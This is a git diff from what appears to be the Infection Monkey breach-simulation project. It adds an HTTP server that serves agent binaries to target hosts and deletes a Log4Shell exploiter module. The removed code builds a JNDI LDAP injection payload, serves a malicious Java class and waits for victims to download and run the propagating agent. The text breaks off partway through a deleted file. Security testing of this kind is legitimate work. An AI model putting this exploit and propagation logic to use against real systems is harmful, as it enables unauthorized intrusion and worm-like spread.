abstractmethod -from datetime import datetime -from time import time -from typing import Dict, Sequence, Tuple - -from common.agent_events import ExploitationEvent, PropagationEvent -from common.event_queue import IAgentEventQueue -from common.types import AgentID, Event -from common.utils.exceptions import FailedExploitationError -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.i_puppet import ExploiterResultData, TargetHost -from infection_monkey.network import TCPPortSelector - -from . import IAgentBinaryRepository - -logger = logging.getLogger(__name__) - - -class HostExploiter: - @property - @abstractmethod - def _EXPLOITED_SERVICE(self): - pass - - @property - @abstractmethod - def _EXPLOITER_TAGS(self) -> Tuple[str, ...]: - pass - - @property - @abstractmethod - def _PROPAGATION_TAGS(self) -> Tuple[str, ...]: - pass - - def __init__(self): - self.agent_id = None - self.exploit_info = { - "display_name": self._EXPLOITED_SERVICE, - "started": "", - "finished": "", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], - } - self.exploit_attempts = [] - self.host = None - self.agent_event_queue = None - self.options = {} - self.exploit_result = {} - self.servers = [] - - def set_start_time(self): - self.exploit_info["started"] = datetime.now().isoformat() - - def set_finish_time(self): - self.exploit_info["finished"] = datetime.now().isoformat() - - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): - self.exploit_attempts.append( - { - "result": result, - "user": user, - "password": password, - "lm_hash": lm_hash, - "ntlm_hash": ntlm_hash, - "ssh_key": ssh_key, - } - ) - - def exploit_host( - self, - agent_id: AgentID, - host: TargetHost, - servers: Sequence[str], - current_depth: int, - agent_event_queue: IAgentEventQueue, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - options: Dict, - interrupt: Event, - otp_provider: IAgentOTPProvider, - ): - self.agent_id = agent_id - self.host = host - self.servers = servers - self.current_depth = current_depth - self.agent_event_queue = agent_event_queue - self.agent_binary_repository = agent_binary_repository - self.tcp_port_selector = tcp_port_selector - self.options = options - self.interrupt = interrupt - self.otp_provider = otp_provider - - self.pre_exploit() - try: - return self._exploit_host() - except FailedExploitationError as e: - logger.debug(f"Exploiter failed: {e}.") - raise e - except Exception as e: - logger.error("Exception in exploit_host", exc_info=True) - raise e - finally: - self.post_exploit() - - def pre_exploit(self): - self.exploit_result = ExploiterResultData( - os=self.host.operating_system, info=self.exploit_info - ) - self.set_start_time() - - def _is_interrupted(self): - return self.interrupt.is_set() - - def post_exploit(self): - self.set_finish_time() - - @abstractmethod - def _exploit_host(self): - raise NotImplementedError() - - def add_vuln_url(self, url): - self.exploit_info["vulnerable_urls"].append(url) - - def add_vuln_port(self, port): - self.exploit_info["vulnerable_ports"].append(port) - - def add_executed_cmd(self, cmd): - """ - Appends command to exploiter's info. - :param cmd: String of executed command. e.g. 'echo Example' - """ - powershell = True if "powershell" in cmd.lower() else False - self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - - def _publish_exploitation_event( - self, - time: float = time(), - success: bool = False, - tags: Tuple[str, ...] = tuple(), - error_message: str = "", - ): - exploitation_event = ExploitationEvent( - source=self.agent_id, - target=self.host.ip, - success=success, - exploiter_name=self.__class__.__name__, - error_message=error_message, - timestamp=time, - tags=frozenset(tags or self._EXPLOITER_TAGS), - ) - self.agent_event_queue.publish(exploitation_event) - - def _publish_propagation_event( - self, - time: float = time(), - success: bool = False, - tags: Tuple[str, ...] = tuple(), - error_message: str = "", - ): - propagation_event = PropagationEvent( - source=self.agent_id, - target=self.host.ip, - success=success, - exploiter_name=self.__class__.__name__, - error_message=error_message, - timestamp=time, - tags=frozenset(tags or self._PROPAGATION_TAGS), - ) - self.agent_event_queue.publish(propagation_event) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 350f8b794b8..31d41c0e03a 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -3,4 +3,11 @@ from .polymorphic_agent_binary_repository_decorator import PolymorphicAgentBinaryRepositoryDecorator from .island_api_agent_otp_provider import IslandAPIAgentOTPProvider from .i_agent_otp_provider import IAgentOTPProvider -from .exploiter_wrapper import ExploiterWrapper +from .i_http_agent_binary_server_registrar import IHTTPAgentBinaryServerRegistrar +from .agent_binary_request import ( + AgentBinaryTransform, + ReservationID, + AgentBinaryDownloadReservation, + AgentBinaryDownloadTicket, +) +from .http_agent_binary_server import use_agent_binary diff --git a/monkey/infection_monkey/exploit/agent_binary_request.py b/monkey/infection_monkey/exploit/agent_binary_request.py new file mode 100644 index 00000000000..96d721bd6e8 --- /dev/null +++ b/monkey/infection_monkey/exploit/agent_binary_request.py @@ -0,0 +1,25 @@ +from dataclasses import dataclass +from typing import Callable, TypeAlias +from uuid import UUID + +from common import OperatingSystem +from common.types import Event + +ReservationID: TypeAlias = UUID +AgentBinaryTransform: TypeAlias = Callable[[bytes], bytes] + + +@dataclass(frozen=True) +class AgentBinaryDownloadReservation: + id: ReservationID + operating_system: OperatingSystem + transform_agent_binary: AgentBinaryTransform + download_url: str + download_completed: Event + + +@dataclass(frozen=True) +class AgentBinaryDownloadTicket: + id: ReservationID + download_url: str + download_completed: Event diff --git a/monkey/infection_monkey/exploit/caching_agent_binary_repository.py b/monkey/infection_monkey/exploit/caching_agent_binary_repository.py index a4964a79e14..1700eedb10a 100644 --- a/monkey/infection_monkey/exploit/caching_agent_binary_repository.py +++ b/monkey/infection_monkey/exploit/caching_agent_binary_repository.py @@ -1,6 +1,5 @@ import io import logging -from multiprocessing import get_context from multiprocessing.managers import SyncManager from common import OperatingSystem @@ -19,8 +18,7 @@ class CachingAgentBinaryRepository(IAgentBinaryRepository): """ def __init__(self, island_api_client: IIslandAPIClient, manager: SyncManager): - context = get_context("spawn") - self._lock = context.Lock() + self._lock = manager.Lock() self._cache = manager.dict() self._island_api_client = island_api_client diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py deleted file mode 100644 index d170f0d709e..00000000000 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ /dev/null @@ -1,81 +0,0 @@ -from typing import Dict, Sequence, Type - -from common.event_queue import IAgentEventQueue -from common.types import AgentID, Event -from infection_monkey.i_puppet import TargetHost -from infection_monkey.network import TCPPortSelector - -from . import IAgentBinaryRepository, IAgentOTPProvider -from .HostExploiter import HostExploiter - - -class ExploiterWrapper: - """ - This class is a temporary measure to allow existing exploiters to play nicely within the - confines of the IPuppet interface. It keeps a reference to an IAgentEventQueue that is passed - to all exploiters. Additionally, it constructs a new instance of the exploiter for each call to - exploit_host(). When exploiters are refactored into plugins, this class will likely go away. - """ - - class Inner: - def __init__( - self, - exploit_class: Type[HostExploiter], - agent_id: AgentID, - event_queue: IAgentEventQueue, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - otp_provider: IAgentOTPProvider, - ): - self._agent_id = agent_id - self._exploit_class = exploit_class - self._event_queue = event_queue - self._agent_binary_repository = agent_binary_repository - self._tcp_port_selector = tcp_port_selector - self._otp_provider = otp_provider - - def run( - self, - host: TargetHost, - servers: Sequence[str], - current_depth: int, - options: Dict, - interrupt: Event, - ): - exploiter = self._exploit_class() - return exploiter.exploit_host( - self._agent_id, - host, - servers, - current_depth, - self._event_queue, - self._agent_binary_repository, - self._tcp_port_selector, - options, - interrupt, - self._otp_provider, - ) - - def __init__( - self, - agent_id: AgentID, - event_queue: IAgentEventQueue, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - otp_provider: IAgentOTPProvider, - ): - self._agent_id = agent_id - self._event_queue = event_queue - self._agent_binary_repository = agent_binary_repository - self._tcp_port_selector = tcp_port_selector - self._otp_provider = otp_provider - - def wrap(self, exploit_class: Type[HostExploiter]): - return ExploiterWrapper.Inner( - exploit_class, - self._agent_id, - self._event_queue, - self._agent_binary_repository, - self._tcp_port_selector, - self._otp_provider, - ) diff --git a/monkey/infection_monkey/exploit/http_agent_binary_request_handler.py b/monkey/infection_monkey/exploit/http_agent_binary_request_handler.py new file mode 100644 index 00000000000..744d6628320 --- /dev/null +++ b/monkey/infection_monkey/exploit/http_agent_binary_request_handler.py @@ -0,0 +1,94 @@ +import threading +from http import HTTPStatus +from http.server import BaseHTTPRequestHandler +from typing import Callable, Mapping + +from common.types import Lock +from infection_monkey.exploit import IAgentBinaryRepository, RetrievalError + +from .agent_binary_request import AgentBinaryDownloadReservation, ReservationID + + +class AgentBinaryHTTPRequestHandler(BaseHTTPRequestHandler): + @classmethod + def reserve_download(cls, reservation: AgentBinaryDownloadReservation): + raise NotImplementedError() + + @classmethod + def clear_reservation(cls, reservation_id: ReservationID): + raise NotImplementedError() + + +class ThreadingHTTPHandlerFactory: + def __init__(self, agent_binary_repository: IAgentBinaryRepository): + self.agent_binary_repository = agent_binary_repository + + def __call__(self): + return get_http_handler(self.agent_binary_repository, {}, {}, lambda: threading.Lock()) + + +def get_http_handler( + agent_binary_repository: IAgentBinaryRepository, + reservations: Mapping[ReservationID, AgentBinaryDownloadReservation], + locks: Mapping[ReservationID, Lock], + create_lock: Callable[[], Lock], +): + def reserve_download(cls, reservation: AgentBinaryDownloadReservation): + if reservation.id in cls.reservations: + raise KeyError(f"Request ID {reservation.id} is already registered") + cls.reservations[reservation.id] = reservation + cls.locks[reservation.id] = create_lock() + + def clear_reservation(cls, reservation_id: ReservationID): + del cls.reservations[reservation_id] + + return type( + "AgentBinaryHTTPHandler", + (AgentBinaryHTTPRequestHandler,), + { + "agent_binary_repository": agent_binary_repository, + "reservations": reservations, + "locks": locks, + "do_GET": _do_GET, + "reserve_download": classmethod(reserve_download), + "clear_reservation": classmethod(clear_reservation), + }, + ) + + +def _do_GET(self): + cls = self.__class__ + reservation_id = ReservationID(self.path.split("/")[-1]) # Parse request from the URL + + try: + lock = cls.locks[reservation_id] + except KeyError: + self.send_response(404) + self.end_headers() + raise + + with lock: + reservation: AgentBinaryDownloadReservation = cls.reservations[reservation_id] + if reservation.download_completed.is_set(): + self.send_error( + HTTPStatus.TOO_MANY_REQUESTS, + "A download has already been requested", + ) + + try: + agent_binary = cls.agent_binary_repository.get_agent_binary( + reservation.operating_system + ) + except RetrievalError: + self.send_error( + HTTPStatus.INTERNAL_SERVER_ERROR, "The binary does not exist on the server" + ) + + self.send_response(HTTPStatus.OK) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + + bytes_to_send = reservation.transform_agent_binary(agent_binary.getvalue()) + + self.wfile.write(bytes_to_send) + reservation.download_completed.set() diff --git a/monkey/infection_monkey/exploit/http_agent_binary_server.py b/monkey/infection_monkey/exploit/http_agent_binary_server.py new file mode 100644 index 00000000000..d4807d509b1 --- /dev/null +++ b/monkey/infection_monkey/exploit/http_agent_binary_server.py @@ -0,0 +1,175 @@ +import logging +import threading +from http.server import HTTPServer +from ipaddress import IPv4Address +from typing import Callable, Optional, Type +from uuid import uuid4 + +from common import OperatingSystem +from common.types import Event, Lock, NetworkPort +from common.utils.code_utils import insecure_generate_random_string +from infection_monkey.network import TCPPortSelector +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.threading import create_daemon_thread + +from .agent_binary_request import ( + AgentBinaryDownloadReservation, + AgentBinaryDownloadTicket, + AgentBinaryTransform, + ReservationID, +) +from .http_agent_binary_request_handler import AgentBinaryHTTPRequestHandler + +logger = logging.getLogger(__name__) + +AgentBinaryHTTPHandlerFactory = Callable[[], Type[AgentBinaryHTTPRequestHandler]] + + +def use_agent_binary(agent_binary: bytes) -> bytes: + return agent_binary + + +class HTTPAgentBinaryServer: + """ + Serves Agent binaries over HTTP + + Allows clients to register for an Agent binary to be served. The server will serve the + requested binary until it is deregistered or the server is stopped. + + :param tcp_port_selector: The TCP port selector to use + :param get_handler_class: A function that returns the HTTP handler class to use + :param create_event: A function that the server will use to create events + :param lock: A lock to use + :param poll_interval: The interval to poll for server shutdown, in seconds + """ + + def __init__( + self, + tcp_port_selector: TCPPortSelector, + get_handler_class: AgentBinaryHTTPHandlerFactory, + create_event: Callable[[], Event], + lock: Lock, + poll_interval: float = 0.5, + ): + self._tcp_port_selector = tcp_port_selector + self._handler_class = get_handler_class() + self._create_event = create_event + self._lock = lock + self._poll_interval = poll_interval + self._port: Optional[NetworkPort] = None + self._server: Optional[HTTPServer] = None + self._server_thread: Optional[threading.Thread] = None + + def register( + self, + operating_system: OperatingSystem, + requestor_ip: IPv4Address, + agent_binary_transform: AgentBinaryTransform = use_agent_binary, + ) -> AgentBinaryDownloadTicket: + """ + Register to download an Agent binary + + If the server is not running, it will be started. + + :param operating_system: The operating system for the Agent binary to serve + :param requestor_ip: The IP address of the client that will download the Agent binary + :param agent_binary_transform: A callable that transforms the Agent binary before serving. + This may be used to, e.g., convert the binary into a self-extracting shell script. + Defaults to no-op + :raises RuntimeError: If the binary could not be served + :raises Exception: If the server failed to start + :returns: A ticket to download the Agent binary + """ + with self._lock: + if not self.server_is_running(): + self._start_server() + + reservation_id = uuid4() + url = self._build_request_url(reservation_id, operating_system, requestor_ip) + reservation = AgentBinaryDownloadReservation( + reservation_id, + operating_system, + agent_binary_transform, + url, + self._create_event(), + ) + self._handler_class.reserve_download(reservation) + + return AgentBinaryDownloadTicket(reservation_id, url, reservation.download_completed) + + def _build_request_url( + self, + reservation_id: ReservationID, + operating_system: OperatingSystem, + requestor_ip: IPv4Address, + ) -> str: + server_ip = get_interface_to_target(str(requestor_ip)) + return f"http://{server_ip}:{self._port}/{operating_system.value}/{reservation_id}" + + def server_is_running(self) -> bool: + return self._server_thread is not None and self._server_thread.is_alive() + + def _start_server(self): + if self._server is None: + self._server = self._create_server() + if self._server_thread is None: + self._server_thread = self._create_server_thread(self._server) + self._server_thread.start() + + def _create_server(self) -> HTTPServer: + self._port = self._tcp_port_selector.get_free_tcp_port( + # Allow 443, 80 in the future? + preferred_ports=list(map(NetworkPort, [8080, 8008, 8000, 8443])) + ) + if self._port is None: + raise RuntimeError("Could not find a free TCP port to serve Agent binaries") + + return HTTPServer(("0.0.0.0", int(self._port)), self._handler_class) + + def _create_server_thread(self, server: HTTPServer) -> threading.Thread: + thread_name = f"HTTPAgentBinaryServer-{insecure_generate_random_string(n=8)}" + return create_daemon_thread( + target=server.serve_forever, + name=thread_name, + args=(self._poll_interval,), + ) + + def deregister(self, reservation_id: ReservationID) -> None: + """ + Deregister an Agent binary from being served + + :param reservation_id: The ID of the reservation to deregister + :raises KeyError: If the reservation ID is not registered + """ + with self._lock: + self._handler_class.clear_reservation(reservation_id) + + def start(self): + """ + Start the server + + :raises Exception: If the server failed to start + """ + if not self.server_is_running(): + logger.debug("Starting the HTTP server") + self._start_server() + + def stop(self, timeout: Optional[float] = None): + """ + Stop the server + + :param timeout: The maximum amount of time to wait for the server to stop, in seconds. If + not provided or set to None, it will block until the server shuts down + """ + if self._server is None or self._server_thread is None: + return + + if self._server_thread.is_alive(): + logger.debug("Stopping the HTTP server") + self._server.shutdown() + self._server_thread.join(timeout) + + if self._server_thread.is_alive(): + logger.warning("Timed out waiting for HTTP server to stop") + else: + logger.debug("The HTTP server has stopped") diff --git a/monkey/infection_monkey/exploit/http_agent_binary_server_factory.py b/monkey/infection_monkey/exploit/http_agent_binary_server_factory.py new file mode 100644 index 00000000000..4c9894c921c --- /dev/null +++ b/monkey/infection_monkey/exploit/http_agent_binary_server_factory.py @@ -0,0 +1,61 @@ +from multiprocessing import get_context +from multiprocessing.managers import SyncManager +from typing import Callable, Optional + +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.network import TCPPortSelector + +from .http_agent_binary_server import AgentBinaryHTTPHandlerFactory, HTTPAgentBinaryServer + + +class HTTPAgentBinaryServerWithManagerFactory(HTTPAgentBinaryServer): + """ + An HTTPAgentBinaryServer that has a SyncManager to generate events + + Note: Each instance of the server generated from this factory will have its own manager + process, since the manager cannot be shared between processes. + """ + + def __init__( + self, + tcp_port_selector: TCPPortSelector, + get_http_handler: AgentBinaryHTTPHandlerFactory, + ): + manager = get_context("spawn").Manager() + create_event = manager.Event + super().__init__(tcp_port_selector, get_http_handler, create_event, manager.Lock()) + + +class HTTPAgentBinaryServerFactory: + """ + Creates instances of HTTPAgentBinaryServer + + Each instance will run in the same managed process. + """ + + def __init__( + self, + tcp_port_selector: TCPPortSelector, + agent_binary_repository: IAgentBinaryRepository, + get_http_handler: Callable[[IAgentBinaryRepository], AgentBinaryHTTPHandlerFactory], + ): + self._tcp_port_selector = tcp_port_selector + self._agent_binary_repository = agent_binary_repository + self._get_http_handler = get_http_handler + self._manager: Optional[SyncManager] = None + + def _get_manager(self) -> SyncManager: + if self._manager is None: + SyncManager.register("HTTPAgentBinaryServer", HTTPAgentBinaryServerWithManagerFactory) + manager = get_context("spawn").Manager() + self._manager = manager + return manager + + return self._manager + + def __call__(self) -> HTTPAgentBinaryServer: + manager = self._get_manager() + return manager.HTTPAgentBinaryServer( # type: ignore[attr-defined] + self._tcp_port_selector, + self._get_http_handler(self._agent_binary_repository), + ) diff --git a/monkey/infection_monkey/exploit/http_agent_binary_server_registrar.py b/monkey/infection_monkey/exploit/http_agent_binary_server_registrar.py new file mode 100644 index 00000000000..bc010306a2f --- /dev/null +++ b/monkey/infection_monkey/exploit/http_agent_binary_server_registrar.py @@ -0,0 +1,23 @@ +from ipaddress import IPv4Address + +from common import OperatingSystem + +from .agent_binary_request import AgentBinaryDownloadTicket, AgentBinaryTransform, ReservationID +from .http_agent_binary_server import HTTPAgentBinaryServer +from .i_http_agent_binary_server_registrar import IHTTPAgentBinaryServerRegistrar + + +class HTTPAgentBinaryServerRegistrar(IHTTPAgentBinaryServerRegistrar): + def __init__(self, server: HTTPAgentBinaryServer): + self._server = server + + def reserve_download( + self, + operating_system: OperatingSystem, + requestor_ip: IPv4Address, + agent_binary_transform: AgentBinaryTransform, + ) -> AgentBinaryDownloadTicket: + return self._server.register(operating_system, requestor_ip, agent_binary_transform) + + def clear_reservation(self, reservation_id: ReservationID): + self._server.deregister(reservation_id) diff --git a/monkey/infection_monkey/exploit/i_http_agent_binary_server_registrar.py b/monkey/infection_monkey/exploit/i_http_agent_binary_server_registrar.py new file mode 100644 index 00000000000..0c969067c56 --- /dev/null +++ b/monkey/infection_monkey/exploit/i_http_agent_binary_server_registrar.py @@ -0,0 +1,37 @@ +import abc +from ipaddress import IPv4Address + +from common import OperatingSystem + +from .agent_binary_request import AgentBinaryDownloadTicket, AgentBinaryTransform, ReservationID + + +class IHTTPAgentBinaryServerRegistrar(metaclass=abc.ABCMeta): + @abc.abstractmethod + def reserve_download( + self, + operating_system: OperatingSystem, + requestor_ip: IPv4Address, + agent_binary_transform: AgentBinaryTransform, + ) -> AgentBinaryDownloadTicket: + """ + Register to download an Agent over HTTP + + :param operating_system: The operating system for the Agent binary to serve + :param requestor_ip: The IP address of the client that will download the Agent binary + :param agent_binary_transform: A callable that transforms the Agent binary before serving. + This may be used to, e.g., convert the binary into a self-extracting shell script. + :raises RuntimeError: If the binary could not be served + :returns: A ticket to download the Agent binary + """ + pass + + @abc.abstractmethod + def clear_reservation(self, reservation_id: ReservationID): + """ + Deregister a AgentBinaryDownloadReservation from the registrar + + :param reservation_id: The ID of the reservation to be deregistered + :raises KeyError: If the reservation ID is not registered + """ + pass diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py deleted file mode 100644 index 0ba916dc46e..00000000000 --- a/monkey/infection_monkey/exploit/log4shell.py +++ /dev/null @@ -1,233 +0,0 @@ -import logging -import time -from pathlib import PurePath - -from egg_timer import EggTimer - -from common import OperatingSystem -from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.tags import ( - BRUTE_FORCE_T1110_TAG, - EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, - INGRESS_TOOL_TRANSFER_T1105_TAG, -) -from common.types import NetworkService -from infection_monkey.exploit.log4shell_utils import ( - LINUX_EXPLOIT_TEMPLATE_PATH, - WINDOWS_EXPLOIT_TEMPLATE_PATH, - ExploitClassHTTPServer, - LDAPExploitServer, - build_exploit_bytecode, - get_log4shell_service_exploiters, -) -from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.i_puppet.i_puppet import ExploiterResultData -from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND -from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.monkey_dir import get_monkey_dir_path -from infection_monkey.utils.threading import interruptible_iter - -logger = logging.getLogger(__name__) - -LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" -VICTIM_WAIT_SLEEP_TIME_SEC = 0.050 - - -class Log4ShellExploiter(WebRCE): - _EXPLOITED_SERVICE = "Log4j" - SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT - REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT - - _EXPLOITER_TAGS = ( - LOG4SHELL_EXPLOITER_TAG, - BRUTE_FORCE_T1110_TAG, - EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, - ) - _PROPAGATION_TAGS = ( - LOG4SHELL_EXPLOITER_TAG, - EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, - INGRESS_TOOL_TRANSFER_T1105_TAG, - ) - - def _exploit_host(self) -> ExploiterResultData: - self._open_ports = [ - int(port[0]) - for port in WebRCE.get_open_service_ports( - self.host, self.http_ports, [NetworkService.HTTP] - ) - ] - - if not self._open_ports: - logger.info("Could not find any open web ports to exploit") - return self.exploit_result - - self._configure_servers() - self._start_servers() - try: - self.exploit(None, None) - return self.exploit_result - finally: - self._stop_servers() - - def _configure_servers(self): - self._ldap_port = self.tcp_port_selector.get_free_tcp_port() - - self._class_http_server_ip = get_interface_to_target(str(self.host.ip)) - self._class_http_server_port = self.tcp_port_selector.get_free_tcp_port() - - self._ldap_server = None - self._exploit_class_http_server = None - self._agent_http_server_thread = None - - def _start_servers(self): - target_path = get_agent_dst_path(self.host) - - # Start http server, to serve agent to victims - agent_http_path = self._start_agent_http_server() - - # Build agent execution command - command = self._build_command(target_path, agent_http_path) - - # Start http server to serve malicious java class to victim - self._start_class_http_server(command) - - # Start ldap server to redirect ldap query to java class server - self._start_ldap_server() - - def _start_agent_http_server(self) -> str: - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.try_create_locked_transfer( - self.host, self.agent_binary_repository, self.tcp_port_selector - ) - self._agent_http_server_thread = http_thread - return http_path - - def _start_class_http_server(self, command: str): - java_class = self._build_java_class(command) - - self._exploit_class_http_server = ExploitClassHTTPServer( - self._class_http_server_ip, self._class_http_server_port, java_class - ) - self._exploit_class_http_server.run() - - def _start_ldap_server(self): - self._ldap_server = LDAPExploitServer( - ldap_server_port=self._ldap_port, - http_server_ip=self._class_http_server_ip, - http_server_port=self._class_http_server_port, - storage_dir=get_monkey_dir_path(), - ) - self._ldap_server.run() - - def _stop_servers(self): - logger.debug("Stopping all LDAP and HTTP Servers") - self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - - self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - - self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - - def _build_ldap_payload(self) -> str: - interface_ip = get_interface_to_target(str(self.host.ip)) - return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - - def _build_command(self, path: PurePath, http_path) -> str: - # Build command to execute - monkey_cmd = build_monkey_commandline( - self.agent_id, self.servers, self.current_depth + 1, location=path - ) - if OperatingSystem.WINDOWS == self.host.operating_system: - base_command = LOG4SHELL_WINDOWS_COMMAND - else: - base_command = LOG4SHELL_LINUX_COMMAND - - return base_command % { - "monkey_path": path, - "http_path": http_path, - "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, - "agent_otp": self.otp_provider.get_otp(), - "monkey_type": DROPPER_ARG, - "parameters": monkey_cmd, - } - - def _build_java_class(self, exploit_command: str) -> bytes: - if OperatingSystem.LINUX == self.host.operating_system: - return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) - else: - return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - - def exploit(self, url, command) -> None: - # Try to exploit all services, - # because we don't know which services are running and on which ports - for exploit in get_log4shell_service_exploiters(): - intr_ports = interruptible_iter(self._open_ports, self.interrupt) - for port in intr_ports: - logger.debug( - f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' - f"on port {port}" - ) - try: - timestamp = time.time() - url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) - except Exception as err: - error_message = ( - "An error occurred while attempting to exploit log4shell on a " - f"potential {exploit.service_name} service: {err}" - ) - - logger.warning(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - - # TODO: _wait_for_victim() gets called even if trigger_exploit() raises an - # exception. Is that the desired behavior? - if self._wait_for_victim(timestamp): - self.exploit_info["vulnerable_service"] = { - "service_name": exploit.service_name, - "port": port, - } - self.exploit_info["vulnerable_urls"].append(url) - - def _wait_for_victim(self, timestamp: float) -> bool: - victim_called_back = self._wait_for_victim_to_download_java_bytecode() - if victim_called_back: - self._publish_exploitation_event(timestamp, True) - - victim_downloaded_agent = self._wait_for_victim_to_download_agent() - self._publish_propagation_event(success=victim_downloaded_agent) - else: - error_message = "Timed out while waiting for victim to download the java bytecode" - logger.debug(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - - return victim_called_back - - def _wait_for_victim_to_download_java_bytecode(self) -> bool: - timer = EggTimer() - timer.set(Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT) - - while not timer.is_expired(): - if self._exploit_class_http_server.exploit_class_downloaded(): - self.exploit_result.exploitation_success = True - return True - - time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) - - return False - - def _wait_for_victim_to_download_agent(self) -> bool: - timer = EggTimer() - timer.set(LONG_REQUEST_TIMEOUT) - - while not timer.is_expired(): - if self._agent_http_server_thread.downloads > 0: - self.exploit_result.propagation_success = True - return True - - # TODO: if the http server got an error we're waiting for nothing here - time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) - - return False diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py deleted file mode 100644 index 831ddec489a..00000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ /dev/null @@ -1,11 +0,0 @@ -from pathlib import Path -from .exploit_builder import ( - build_exploit_bytecode, - InvalidExploitTemplateError, -) -from .ldap_server import LDAPExploitServer -from .service_exploiters import get_log4shell_service_exploiters -from .exploit_class_http_server import ExploitClassHTTPServer - -LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" -WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py deleted file mode 100644 index be5375848d3..00000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ /dev/null @@ -1,129 +0,0 @@ -import http.server -import logging -import threading -from typing import Type - -from infection_monkey.utils.threading import create_daemon_thread - -logger = logging.getLogger(__name__) - -HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 - - -# TODO: Replace this with HTTPBytesServer -class ExploitClassHTTPServer: - """ - An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server - limits the number of requests to one. That is, after one victim has downloaded the java - bytecode, the server will respond with a 429 error to all future requests. - - Note: There can only be one instance of this class at a time due to the way it is implemented. - """ - - def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): - """ - :param ip: The IP address that the server will bind to - :param port: The port that the server will listen on - :param java_class: The compiled Java bytecode that the server will serve - :param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5. - """ - logger.debug(f"The Java Exploit class will be served at {ip}:{port}") - - self._class_downloaded = threading.Event() - self._poll_interval = poll_interval - - HTTPHandler = _get_new_http_handler_class(java_class, self._class_downloaded) - - self._server = http.server.HTTPServer((ip, port), HTTPHandler) - self._server_thread = create_daemon_thread( - target=self._server.serve_forever, - name="ExploitClassHTTPServerThread", - args=(self._poll_interval,), - ) - - def run(self): - """ - Runs the HTTP server in the background and blocks until the server has started. - """ - logger.info("Starting ExploitClassHTTPServer") - self._class_downloaded.clear() - - # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race - # between when `serve_forever()` is ready to handle requests and when the victim machine - # sends its requests. This could change if we switch from multithreading to multiprocessing. - # See - # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever - # for more information. - self._server_thread.start() - - def stop(self, timeout: float = None): - """ - Stops the HTTP server. - - :param timeout: A floating point number of seconds to wait for the server to stop. If this - argument is None (the default), the method blocks until the HTTP server - terminates. If `timeout` is a positive floating point number, this method - blocks for at most `timeout` seconds. - """ - if self._server_thread.is_alive(): - logger.debug("Stopping the Java Exploit class HTTP server") - self._server.shutdown() - self._server_thread.join(timeout) - - if self._server_thread.is_alive(): - logger.warning("Timed out while waiting for The HTTP exploit server to stop") - else: - logger.debug("The Java Exploit class HTTP server has stopped") - - def exploit_class_downloaded(self) -> bool: - """ - Returns whether or not a victim has 